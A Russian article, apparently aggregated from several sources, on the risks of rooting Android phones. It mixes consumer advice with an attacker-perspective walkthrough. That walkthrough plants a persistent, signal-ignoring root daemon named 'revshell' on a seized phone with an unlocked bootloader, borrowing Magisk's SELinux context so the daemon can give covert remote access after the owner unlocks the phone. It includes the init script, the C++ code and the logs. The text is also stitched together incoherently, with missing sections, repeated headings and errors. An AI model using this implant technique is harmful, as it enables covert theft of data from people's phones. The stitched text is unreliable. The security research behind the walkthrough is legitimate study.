Чем грозит root доступ в смартфоне

Содержание
  1. Чем опасны кастомные прошивки и рут права?
  2. Какие риски он несёт
  3. Потеря гарантии
  4. Риск выхода устройства из строя
  5. Проблемы с обновлениями
  6. Подверженность вирусам
  7. Неработающие приложения
  8. Легальные root-права и LineageOS
  9. Doogee
  10. Удаление с помощью программы KingRoot
  11. Внедряемся в систему с установленными root-правами
  12. Варианты Root-прав
  13. Нелегальные root-права и magisk
  14. Постановка задачи
  15. Как получить Root
  16. ROOT Explorer
  17. Небольшой ликбез по теме «Root»
  18. Никакой оплаты со смартфона, никаких лицензионных фильмов
  19. UMI
  20. Universal Unroot
  21. Какие проблемы могут возникнуть после деинсталляции ROOT?
  22. Удаляем Рут-доступ используя ПК
  23. Проверяем, есть ли Root-права
  24. Каковы преимущества рутирования телефона Android?
  25. Откройте больше функций, которые ранее были недоступны в пользовательском интерфейсе по умолчанию
  26. Возможно пониженное напряжение ЦП и увеличение заряда батареи. life
  27. Укоренение открывает совершенно новый уровень настройки
  28. Вредоносные программы можно удалить, а обновления перейдут под полный контроль
  29. Срок службы устройства можно значительно увеличить
  30. Преимущества и недостатки смартфонов с Root
  31. Внедряемся в систему без установленных root-прав
  32. Работаем с Baidu Super Root
  33. Для чего его используют
  34. Изменение дизайна системы
  35. Настройка компонентов устройства
  36. Полное контролирование разрешений игр и программ
  37. Удаление «неудаляемых» приложений
  38. Создание полноценных резервных копий
  39. И это далеко не всë!

Чем опасны кастомные прошивки и рут права?

Чем грозит root доступ в смартфоне

Права рута позволяют вам (именно вам и прежде всего вам) иметь полный контроль над устройством.
Опасны они прежде всего для производителей андроида и телефона, потому что имея рут, вы можете удалить их рекламные сранки с вашего телефона и даже запретить всемогущему гуглу следить за вами. А это уже покушение на основы.
По поводу ПО — каждое ПО, которому нужен рут, будет его у вас запрашивать. И ваше личное дело — разрешить или нет конкретной программе иметь рут-доступ к телефону. И разрешить его навсегда или на 10-15 минут (на один запуск), а потом пусть снова просит.
По большому счету, рут на андроиде нужен для Titanium Backup (установка-удаление, бакап-восстановление приложений), AdAway (блокировщик рекламы) и firewall (разделение доступа к сети, вам же не надо, чтобы за ваш счет по медленному и дорогому 3g какая-нибудь гадость качала вам рекламу? Или сливала ваши фотки в АНБ?). Еще иногда рут нужен программам по исправлению косяков (для вашего удобства!) в андроиде, например, которые открывают запись на SD-карту. Но им он обычно нужен разово. Все остальные перетопчутся.
Насчет доступа к вашим данным. На андроиде есть такое понятие, как разрешения. Вот в них (вы их видите, когда устанавливаете программу) и прописано, что приложение может делать, а что нет. И наличие у этого приложения рут-доступа ничего тут не поменяет. Есть у него в разрешениях отправка смс или звонки — может звонить и отправлять, не взирая, есть у него рут-доступ или нет. Нету такого разрешения — не может звонить и отправлять.

И про менеджер паролей — конечно ставьте! Не важно, рутован ваш телефон или нет, это на перехват паролей мало влияет. Зато сторонние клавиатуры (да и родная) могут и видят всё, что вы набираете и могут сливать это в инет. Опять же вне зависимости от того, есть рут или нет. Зато если есть firewall (а ему нужен рут) и клавиатуре доступ в инет закрыт — вот тут можно спать чуть спокойнее.

У меня потребность в root доступе была, и ещё какая. Без него не удалить предустановленный производителем софт, например. Для SonyEricsson Pro, например (где всего 512 Мб встроенной памяти на всё про всё) это возможность удалить McAffee Security и Moxier (почтовая программа), что освобождает кучу места. Не говоря уже о возможности удалять системные компоненты, принудительно ставить любимую версию Google Play, полноценно использовать Titanium Backup со всеми его возможностями, и прочее, и прочее.

На более новых трубках без рута тоже удаляется далеко не всё, к слову.

Какие риски он несёт

Без всякого сомнения, Root-права — очень мощный и полезный инструмент, но вместе с этим могут возникать определённые неприятности при повседневном использовании устройства.

Потеря гарантии

Простыми словами: что такое Root и зачем он нужен

Зачастую получение Root на смартфоне может стать причиной отказа в гарантийном обслуживании девайса, даже если поломка не связана с модификациями напрямую. Хотя не всякий сервис будет проверять наличие рута, нужно быть готовым к тому, что гаджет не получится бесплатно отремонтировать или заменить на новый в случае заводского брака.

Например, Samsung использует в своих смартфонах специальный электронный счётчик, активирующийся при каких-либо изменениях в системе. После его срабатывания владелец больше не сможет пользоваться сервисом бесконтактных платежей Samsung Pay и системой безопасности Knox, а компания может узнать таким образом о вмешательстве пользователя и использовать это как причину для отказа в обслуживании. Тем не менее, у каждого производителя собственные условия, поэтому лучше ознакомиться с ними заранее.

Риск выхода устройства из строя

Простыми словами: что такое Root и зачем он нужен

Root даёт огромную свободу, и в руках не самого опытного пользователя эта свобода может обернуться против него самого. В процессе экспериментов всегда что-то может пойти не так, и на выходе получится «окирпиченное» устройство. Как правило, признаками «кирпича» являются либо постоянная перезагрузка без входа в систему, именуемая бутлупом, либо отсутствие каких-то признаков «жизни» вообще. На этом этапе как минимум можно прощаться со всеми данными на смартфоне.

Проблемы с обновлениями

Простыми словами: что такое Root и зачем он нужен

Android 5.0 получила много изменений, как приятных, так и не очень. К последним смело можно отнести блокировку возможности OTA-обновлений (загрузка обновлений ОС по интернету через «Настройки»), как только в системе обнаруживаются модификации. Впрочем, сейчас проблема иссякла — утилита Magisk решает её, используя собственные механизмы. Благодаря ему можно спокойно устанавливать системные апдейты, не теряя при этом Root. В интернете находится огромное количество инструкций на тему OTA-обновлений с рут-доступом, поэтому эта проблема не столь критична, хотя отметить её всё же стоит.

Подверженность вирусам

Простыми словами: что такое Root и зачем он нужен

Получая рут-права, приложения могут управлять любыми данными и параметрами в системе. Но не всегда программа с таким доступом несёт пользу: уязвимостями может воспользоваться в том числе и вредоносное ПО. Последствия могут быть печальными: начиная от потери или повреждения некоторых файлов и заканчивая кражей ценных персональных данных. В некоторых случаях всё может закончиться деструктивными действиями с системой и последующими проблемами в работе.

Имея Root на своём устройстве, надо всегда держать в голове, что система становится весьма уязвимой, и поэтому надо внимательно проверять каждое приложение, которое собираетесь установить. Также не стоит давать Root-доступ программному обеспечению, которому не доверяете.

Неработающие приложения

Простыми словами: что такое Root и зачем он нужен
Простыми словами: что такое Root и зачем он нужен

Одна из самых неприятных проблем, с которой может столкнуться пользователь девайса с Root. Многие программы попросту отказываются работать, после того, как обнаруживают рут-права или стороннюю прошивку. Самый очевидный пример — приложения банков. Как оговаривалось ранее, вероятен несанкционированный доступ к важным данным, и программы предупреждают пользователя о возможном перехвате ценных банковских данных. То же самое касается программ с лицензионным контентом — приложение популярного стримингового сервиса Netflix невозможно установить на девайсах с модификациями.

Впрочем, иногда Root-права удаётся скрыть, например, при помощи утилиты Magisk, после чего «упрямые» приложения запускаются как ни в чём не бывало. Но даже скрытие рута с Magisk Hide не гарантирует постоянную и стабильную работоспособность всех программ — всегда есть шанс, что после очередного обновления Google Pay вы не сможете расплатиться смартфоном в магазине.

Легальные root-права и LineageOS

  • eng – это полностью отладочный вариант сборки, помимо легального root-доступа и отладочной информации в такой сборке присутствуют дополнительные инструменты для диагностики, поиска проблем, профилирования и отладки прямо на устройстве.

На отладочных типах сборок отсутствует исполняемый файл su, а получение легального root-доступа на них осуществляется с помощью перезапуска демона adbd с помощью команды adb root. Технически это реализовано в виде простого условия в коде adb. При запуске демон adb всегда стартует от root, но в определённый момент дропает свои привилегии до shell. На нерелизных сборках получив команду adb root он не понижает свои привилегии до shell, а пользователь получает возможность полноценно работать от пользователя root. Специально для того, чтобы adb мог таким образом предоставить полноценный доступ к системе существует специальный контекст u:r:su:s0, который собирается и включается в политики если сборка не является релизной. Он до конца разрешает процессу adb всё что в обычном случае было бы запрещено SELinux.

$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ ^D
$ adb root
restarting adbd as root
$ adb shell
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0

Похожим образом «легально» root-права получает addonsu, который поставлялся вместе с LineageOS до версии 16 включительно (сейчас он deprecated). Он использует подход с записью исполняемого файла su в директорию /system/bin в разделе system, а также с демоном, который обладает заготовленным контекстом SELinux и может запускаться и останавливаться в зависимости от настроек системы и предоставлять доступ к оболочке с правами root если это разрешит делать пользователь. Тем не менее, с технической точки зрения, подход используется тот же самый. Разработчики LineageOS специально закладывают в исходный код правила для addonsu, они не знают, будет ли владелец пользоваться им или нет, но если всё-таки будет, то файлу su будут нужны эти политики, поэтому их вносят в *.te файлы в исходный код.

$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0
$ adb root
adbd cannot run as root in production builds

Мы не можем полагаться на то, что телефон с разблокированным загрузчиком будет и содержать LineageOS, и иметь включённый режим adb, к тому же контексту u:r:init:s0 запрещён transition в контекст u:r:su:s0, поэтому закрепиться в качестве системного демона подобным образом всё равно не получится, а значит для извлечения данных нам необходимо воспользоваться другим подходом.

Doogee

Смартфоны с Root «из коробки» — полная свобода с заводскими настройками
Смартфоны с Root «из коробки» — полная свобода с заводскими настройками
Смартфоны с Root «из коробки» — полная свобода с заводскими настройками
Смартфоны с Root «из коробки» — полная свобода с заводскими настройками
Смартфоны с Root «из коробки» — полная свобода с заводскими настройками

Doogee — ещë одна известная компания, которая даëт возможность активировать Root-доступ как в топовых смартфонах, так и на представителях бюджетных линеек. В качестве ПО на своих устройствах производитель использует слегка изменëнную версию Andoid со своими интерфейсными нововведениями вроде альтернативных иконок. Мы рекомендуем рассмотреть следующие девайсы: Doogee DG800, Doogee F2 Ibiza.

К слову, компания занимается не только производством смартфонов, но и бюджетных компактных проекторов — например, Smart Cube P1. Но, как ни странно, Root-доступа «из коробки» в этом устройстве вы не найдëте 🙂

Удаление с помощью программы KingRoot

В этой операции нет ничего сложного:

  1. Запускаем программу. Далее, нам нужно войти в настройки, которые выглядят как 3 точки вверху справа дисплея;
  2. Обращаем внимание на низ окна, далее нам нужно тапнуть по команде «Удалить ROOT-доступ», и нажать Ок;
  3. Затем, нам нужно запустить антивирус и старательно просканировать наш дейвайс.

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"
#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!\n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignore\n");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!\n");
    LOGD("My PID -- %d\n", getpid());
    LOGD("My parent PID -- %d\n", getppid());
    LOGD("My UID -- %d\n", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!\n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Дополнительно:  How To Root Samsung Galaxy A31 SM-A315F

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587  3589  3589 D revshell: Start successfull!
01-31 23:42:07.588  3589  3589 D revshell: Signals are set to ignore
01-31 23:42:07.588  3589  3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588  3589  3589 D revshell: My PID -- 3589
01-31 23:42:07.588  3589  3589 D revshell: My parent PID -- 1
01-31 23:42:07.588  3589  3589 D revshell: My UID -- 0
01-31 23:42:07.588  3589  3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597  3589  3589 D revshell: FS has been decrypted!
01-31 23:42:27.597  3589  3589 D revshell: Starting reverse shell now
01-31 23:42:32.597  3589  3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598  3589  3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599  3589  3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600  3589  3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Варианты Root-прав

Итак, давайте проверим, который вариант доступа присутствует в вашем телефоне. Данных вариантов всего 3:

  1. Temporary Root – это разновидность временных Root-прав. Эти права исчезают тут же после того, как вы перезагрузили смартфон. Достать данные права довольно легко, но также легко они удаляются. Отсюда, данный вариант подходит для людей без особого опыта;
  2. Shell Root – обширные Root-права, но они всё же не позволяют полное проникновение к системным папочкам;
  3. Full Root – является обширным Рут-доступом. Отличный способ для владельца Android c опытом.

Нелегальные root-права и magisk

Я назвал предыдущий подход к получению root-прав «легальным», потому что всё необходимое для этого было намеренно заложено в систему на этапе сборки. Совершенно иной подход использует инструмент для получения root-прав magisk, ставший, де-факто, стандартным инструментом для этих целей в сообществе любителей android. Magisk устанавливается на любые устройства, на любые сборки, на любые версии android, и не только на отладочные варианты сборки, но и на релизные, и даже на те устройства, на которых применяются дополнительные защиты от несанкционированного получения root-прав. Magisk по полной эксплуатирует разблокированный загрузчик и, по сути, совершает настоящий изощрённый взлом за что и будем его называть его «нелегальным». Для нас наиболее важно то, что magisk, по сути, делает всё тоже что хотим сейчас сделать мы. Он закрепляется в системе также, как хотим закрепиться мы, а значит, похоже, что нам с ним по пути.

Для начала постараемся выяснить как magisk получает root-права в рантайме. На устройстве выполняем:

$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
# ps -Zef
LABEL                          UID            PID  PPID C STIME TTY          TIME CMD
u:r:init:s0                    root             1     0 1 09:17 ?        00:00:01 init
u:r:magisk:s0                  root           658     1 0 09:24 ?        00:00:00 magiskd
u:r:zygote:s0                  root           695     1 1 09:24 ?        00:00:01 zygote64
u:r:zygote:s0                  root           696     1 0 09:24 ?        00:00:00 zygote
u:r:adbd:s0                    shell          956     1 1 09:25 ?        00:00:01 adbd --root_seclabel=u:r:su:s0
u:r:platform_app:s0:c512,c768  u0_a39        2800   695 4 09:35 ?        00:00:07 com.android.systemui
u:r:priv_app:s0:c512,c768      u0_a120       3909   695 1 10:26 ?        00:00:01 com.android.launcher3
u:r:untrusted_app:s0:c113,c25+ u0_a113       5218   695 1 10:48 ?        00:00:00 com.topjohnwu.magisk
u:r:shell:s0                   shell         5473   956 0 10:56 pts/0    00:00:00 sh -
u:r:magisk_client:s0           shell         5602  5473 0 10:59 pts/0    00:00:00 su
u:r:magisk_client:s0:c113,c25+ u0_a113       5629  5218 0 10:59 ?        00:00:00 su --mount-master
u:r:magisk:s0                  root          5633   658 0 10:59 ?        00:00:00 busybox sh
u:r:magisk:s0                  root          5708   658 0 11:02 pts/1    00:00:00 sh
u:r:magisk:s0                  root          5795  5708 7 12:49 pts/1    00:00:00 ps -Zef

Я сократил вывод команды ps только до тех значений, которые нас интересуют.

Во-первых, мы видим что magisk имеет специальный контекст для своих процессов — u:r:magisk:s0. Наша оболочка с root-правами имеет терминал pts/1 и запущена с этим контекстом. Это явно не встроенный в систему контекст, а значит magisk смог его отредактировать и внедрить дополнительные правила перед запуском процесса init. Поскольку, наши root-права работают, и мы действительно можем делать в системе всё что угодно, контекст u:r:magisk:s0 должен иметь как минимум все те же разрешения, которые прописаны для u:r:su:s0, а может и больше.

Во-вторых, magisk имеет свой демон запущенный в системе – magiskd, он породил наш процесс с рутовым шеллом, а значит именно через него magisk и даёт другим процессам доступ с оболочке с root-правами, этот демон (PID 658) порождён процессом init (PPID 1), т.е. запущен как системный сервис. Демон также работает в контексте u:r:magisk:s0.

Мы подключились по adb и получили шелл на устройстве, терминал pts/0. Видно что процесс sh имеет контекст u:r:shell:s0, PID 5473 и PPID 956 который равен значению PID adbd, а сам adbd уже был порождён процессом init.

Мы вызываем исполняемый файл su и видим что его контекст – u:r:magisk_client:s0, следовательно magisk использует отдельный контекст для того, чтобы знать какие именно исполняемые файлы могут запрашивать доступ к root-правам. Исполняемый файл провоцирует открытие окна подтверждения доступа к root-правам для обычного shell, оно находится в пакете приложения MagiskManager — com.topjohnwu.magisk, получив результатат magiskd (PID 658) породил нам нашу оболочку sh с новым терминалом pts/1 (PID 5708, PPID 658), от которой мы отнаследовали и пользователя root (uid=0), и всемогущий контекст u:r:magisk:s0. 

Для нас интересно вот что: если init запускается со своим ограниченным со всех сторон контекстом u:r:init:s0 из которого разрешены transition’ы только в прописанные в *.te файлах контексты для системных служб, а демон маджиска имеет контекст u:r:magisk:s0, значит magisk смог внедрить правило разрешающее прямой transition из u:r:init:s0 в u:r:magisk:s0. Это значит что и мы можем использовать контекст u:r:magisk:s0 в своём сервисе!

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE. Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована. На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей. Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно. Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Разблокированный загрузчик роняет уровень сложности этой задачи от невозможного до тривиального. Почему-то тема опасности открытых загрузчиков поднимается довольно редко, и, мне кажется, её значимость здорово недооценена, поэтому давайте разбираться. 

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает. 

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.

Я буду часто ссылаться на ресурс source.android.com. Это примерно тоже самое что и developer.android.com но не для разработчиков приложений, а для разработчиков устройств. Там хорошо описана работа ОС, системных компонентов, и т.д. Очень рекомендую, вряд ли где-то можно найти более структурированную информацию по устройству системы.

Как получить Root

Конкретные шаги для каждого смартфона могут отличаться, но основной процесс состоит из разблокировки загрузчика операционной системы, установки кастомного Recovery (ПО для полного сброса к заводским настройкам, установки образов систем или бэкапов) и дальнейшей прошивки архива с утилитой вроде Magisk.

ROOT Explorer

Чем грозит root доступ в смартфоне

  1. Bin – su, busybox;
  2. Xbin – su;
  3. App – apk.

Чем грозит root доступ в смартфоне

Небольшой ликбез по теме «Root»

Смартфоны с Root «из коробки» — полная свобода с заводскими настройками

Если вы прочитали предыдущий абзац и тупо смотрите в монитор, не понимая, что происходит, то не стоит беспокоиться — мы вам объясним в чём дело. Если же вы уже горите желанием узнать побольше о нашей сегодняшней теме — смело пропускайте данный параграф, вы ничего толком не потеряете!

Смартфоны с Root «из коробки» — полная свобода с заводскими настройками

Для обеспечения безопасности эти API предоставляют лишь ограниченный доступ к системе — иначе «вирусов» и «троянов» было бы нескончаемое количество — используя API системы, вы не сможете внести изменения в системные директории или конфиги других приложений — вас будут сжимать «рамки» API.

Благодаря стараниям программистов из Google операционная система Android даёт разработчику широкое поле деятельности: для кастомизации доступны многие элементы системы, что даёт определëнные преимущества пользователям. Но нам всегда хочется большего: мы знаем, что некоторые вещи в Android может работать в разы лучше и быстрее, какая-то программа способна наделить вас особыми привилегиями или какое-то приложение сильно мешает вашей работе. Для этого существует Root-доступ, они же права Суперпользователя, которые при создании Android были «выпилены» из исходного кода для, опять же, обеспечения безопасности.

Дополнительно:  Root Certificate vs. Intermediate Certificates

Смартфоны с Root «из коробки» — полная свобода с заводскими настройками

Root-доступ можно получить разными способами: прошить файлы через Bootloader, обойти уязвимости старых версий «зелёного робота», в конце концов установить специальный архив через Режим Восстановления — путей достаточно много, но все из них обладают мегатоннами нюансов, несоблюдение которых ведёт к потере работоспособности устройства и даже к его последующей гибели — всё бывает.

Однако существует определённое количество устройств, в которых Root-доступ предоставлен «из коробки» — вам стоит буквально забрать устройство с прилавков магазина, и оно будет поставляться уже сразу с Root-доступом — ничего не нужно прошивать, взламывать или обходить — всё это предусмотрено и сделано за вас.

Никакой оплаты со смартфона, никаких лицензионных фильмов

Уже скоро расплачиваться на кассе супермаркета можно будет не только при помощи Айфона или нового Samsung Galaxy. Google пока помалкивает, но сам готовит Android Pay для очень многих моделей с поддержкой NFC. Разумеется, кроме смартфонов, в которых владельцы добыли root-права.

Не то, чтобы эта была какая-то намеренная подлость или месть за блокировку рекламы/удаление бесполезных предустановленных приложений со стороны Google — просто никто не хочет отвечать головой (и, тем более, кошельком по судебным искам) в случаях, когда прошивка смартфона открывается нараспашку любым приложениям по одному нажатию клавиши. И банков-партнёров Google не волнует, сколько раз вы устанавливали Cyanogen/TWRP и насколько правильно конфигурировали SuperSU — они знают, что перехватить данные в процессе оплаты можно настолько же легко, как молодёжь «взламывает на деньги» мобильные игры. По этой причине фирменные банковские приложения отказываются работать на смартфонах с root-доступом или даже просто кастомной прошивкой (никого не волнует, что у вас не было другого выхода, кроме как заменить стандартный Android 4.1 на самосборный 5.0). Выручают перепакованные варианты банк-клиентов, но банки периодически перекрывают доступ таким приложениям, да и всегда есть риск, что внутри «репака» сидит вирус/троян.

UMI

Смартфоны с Root "из коробки" — полная свобода с заводскими настройками
Смартфоны с Root "из коробки" — полная свобода с заводскими настройками

Одни из самых интересных и привлекательных устройств на Android с предустановленным Root из Китая — девайсы развивающейся компании UMI — они всегда поставляются с предустановленным инструментом SuperSU и возможностью разблокировать загрузчик прямо в настройках. Рекомендуем вам рассмотреть следующие варианты: UMI eMAX mini, UMI Hammer S, UMI Iron Pro.

В остальном же оболочка на устройствах UMI полностью копирует стоковый Android. Тем не менее, производитель любит радовать пользователей официальными кастомными прошивками.

Universal Unroot

Чем грозит root доступ в смартфоне

Программа спросит, готовы ли вы полностью деинсталлировать Рут-права? Соглашаемся. После этого мобильный гаджет должен перезагрузиться, что говорит о том, что операция прошла успешно.

Чем грозит root доступ в смартфоне

Какие проблемы могут возникнуть после деинсталляции ROOT?

Одной из самых типичных проблем является частый перезапуск ПК. Это может возникнуть, как при неправильной установке ROOT, так и после удаления Рут. ОС начинает барахлить. Например, вы случайно удалили важный элемент, или не обратили внимание на вредоносное ПО.

Если такое произошло, нужно сбросить настройки телефона до заводских. До подобной процедуры необходимо сохранить важные папки на облаке или на компьютере. Нужно выключить телефон, нажав кнопочку «Домой» и клавишу аудио.

Включится команда «Восстановление», где мы входим во вкладку «Сбросить до заводских настроек». Затем, нужно очистить ОС и перезагрузить телефон.

Удаляем Рут-доступ используя ПК

Мы будем рассматривать смартфоны корпорации Самсунг, так как у них присутствуют свои трудности в удалении ROOT-прав. Итак, нам необходимо:

  1. Подсоединить телефон к компьютеру и включить режим разработчика через USB;
  2. Скачать особые драйвера от Самсунг, которые позволять ПК распознать телефон и начать работу с подключенным прибором;
  3. Приложение Odin3 , которое и будет заниматься прошивкой;Чем грозит root доступ в смартфоне
  4. Сама прошивка. Точнее, её архив с нужным элементом, который имеет расширение .md5.

Начинаем работу. Нужно выключить телефон и ввести его в особый режим, используя клавиши включения и аудио. Далее, нужно запустить скаченный софт, а мобильный гаджет подсоединить к ПК по USB.

Тапнем по «PDA» и укажем адрес элемента прошивки. Поставим флажки над вкладками «Auto Reboot» и «PDA», после этого, ничего не нажимаем, кроме кнопки «Запустить». У нас началась перепрошивка, которая займём от 10, до 15 минут. Если вы всё выполнили правильно, появится зелёная лампочка в программе и текст «Сделано успешно».

Для телефонов иных марок и утилиты нужны другие: на Xiaomi это MiFlash, на Lenovo это FlashTool и др.

Проверяем, есть ли Root-права

Чем грозит root доступ в смартфоне

Загружаем утилиту с официального сайта и запускаем. На сайте видна зелёная эмблема данного приложения.

Чем грозит root доступ в смартфоне

В открывшемся окошке, если появится текст «Ваш телефон рутирован», прочие действия с приложением вы не осуществите.

Чем грозит root доступ в смартфоне

Кроме этого, есть возможность что появится окошко, которое запросит отказ от обязательства. Нам остаётся согласиться с предлагаемыми условиями и кликнуть «Проверка Рут». Даём возможность данному софту для входа к вашему смартфону. Нужно подождать всего 2 минуты. Когда появится зелёный цвет телефона и текст такого же цвета. Примите поздравления, у вас права Root.

Каковы преимущества рутирования телефона Android?

